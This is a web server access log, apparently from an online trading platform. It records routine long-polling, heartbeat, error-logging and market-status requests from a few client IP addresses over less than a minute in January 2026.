[09/Jan/2026:11:56:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931267685 HTTP/1.1" -
[09/Jan/2026:11:56:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931268651 HTTP/1.1" -
[09/Jan/2026:11:56:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931268732 HTTP/1.1" -
[09/Jan/2026:11:56:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931269800 HTTP/1.1" -
[09/Jan/2026:11:56:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931270496 HTTP/1.1" -
[09/Jan/2026:11:56:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931270773 HTTP/1.1" -
[09/Jan/2026:11:56:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931270420 HTTP/1.1" -
[09/Jan/2026:11:56:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931272745 HTTP/1.1" -
[09/Jan/2026:11:56:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931273706 HTTP/1.1" -
[09/Jan/2026:11:56:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931273878 HTTP/1.1" -
[09/Jan/2026:11:56:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931274855 HTTP/1.1" -
[09/Jan/2026:11:56:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931275541 HTTP/1.1" -
[09/Jan/2026:11:56:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931275997 HTTP/1.1" -
[09/Jan/2026:11:56:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931275488 HTTP/1.1" -
[09/Jan/2026:11:56:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931277809 HTTP/1.1" -
[09/Jan/2026:11:56:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931278766 HTTP/1.1" -
[09/Jan/2026:11:56:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931279104 HTTP/1.1" -
[09/Jan/2026:11:56:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931279919 HTTP/1.1" -
[09/Jan/2026:11:56:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931280581 HTTP/1.1" -
[09/Jan/2026:11:56:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931281255 HTTP/1.1" -
[09/Jan/2026:11:56:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931280556 HTTP/1.1" -
[09/Jan/2026:11:56:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931282869 HTTP/1.1" -
[09/Jan/2026:11:56:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931283830 HTTP/1.1" -
[09/Jan/2026:11:56:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931284239 HTTP/1.1" -
[09/Jan/2026:11:56:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931284980 HTTP/1.1" -
[09/Jan/2026:11:56:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:56:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931285613 HTTP/1.1" -
[09/Jan/2026:11:56:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:56:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:56:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931286511 HTTP/1.1" -
[09/Jan/2026:11:56:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931285585 HTTP/1.1" -
[09/Jan/2026:11:56:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931287935 HTTP/1.1" -
[09/Jan/2026:11:57:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931288900 HTTP/1.1" -
[09/Jan/2026:11:57:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931289454 HTTP/1.1" -
[09/Jan/2026:11:57:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931290048 HTTP/1.1" -
[09/Jan/2026:11:57:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931290659 HTTP/1.1" -
[09/Jan/2026:11:57:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931291778 HTTP/1.1" -
[09/Jan/2026:11:57:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931290626 HTTP/1.1" -
[09/Jan/2026:11:57:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931293001 HTTP/1.1" -
[09/Jan/2026:11:57:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931293961 HTTP/1.1" -
[09/Jan/2026:11:57:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931294578 HTTP/1.1" -
[09/Jan/2026:11:57:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931295108 HTTP/1.1" -
[09/Jan/2026:11:57:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931295699 HTTP/1.1" -
[09/Jan/2026:11:57:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931296901 HTTP/1.1" -
[09/Jan/2026:11:57:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931295694 HTTP/1.1" -
[09/Jan/2026:11:57:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931298062 HTTP/1.1" -
[09/Jan/2026:11:57:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931299021 HTTP/1.1" -
[09/Jan/2026:11:57:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931299674 HTTP/1.1" -
[09/Jan/2026:11:57:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931300174 HTTP/1.1" -
[09/Jan/2026:11:57:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931300750 HTTP/1.1" -
[09/Jan/2026:11:57:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931302178 HTTP/1.1" -
[09/Jan/2026:11:57:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931300803 HTTP/1.1" -
[09/Jan/2026:11:57:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931303127 HTTP/1.1" -
[09/Jan/2026:11:57:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931304074 HTTP/1.1" -
[09/Jan/2026:11:57:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931304826 HTTP/1.1" -
[09/Jan/2026:11:57:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931305238 HTTP/1.1" -
[09/Jan/2026:11:57:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931305799 HTTP/1.1" -
[09/Jan/2026:11:57:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931305884 HTTP/1.1" -
[09/Jan/2026:11:57:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931307350 HTTP/1.1" -
[09/Jan/2026:11:57:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931308187 HTTP/1.1" -
[09/Jan/2026:11:57:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:57:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931309144 HTTP/1.1" -
[09/Jan/2026:11:57:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:57:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:57:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931309981 HTTP/1.1" -
[09/Jan/2026:11:57:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931310305 HTTP/1.1" -
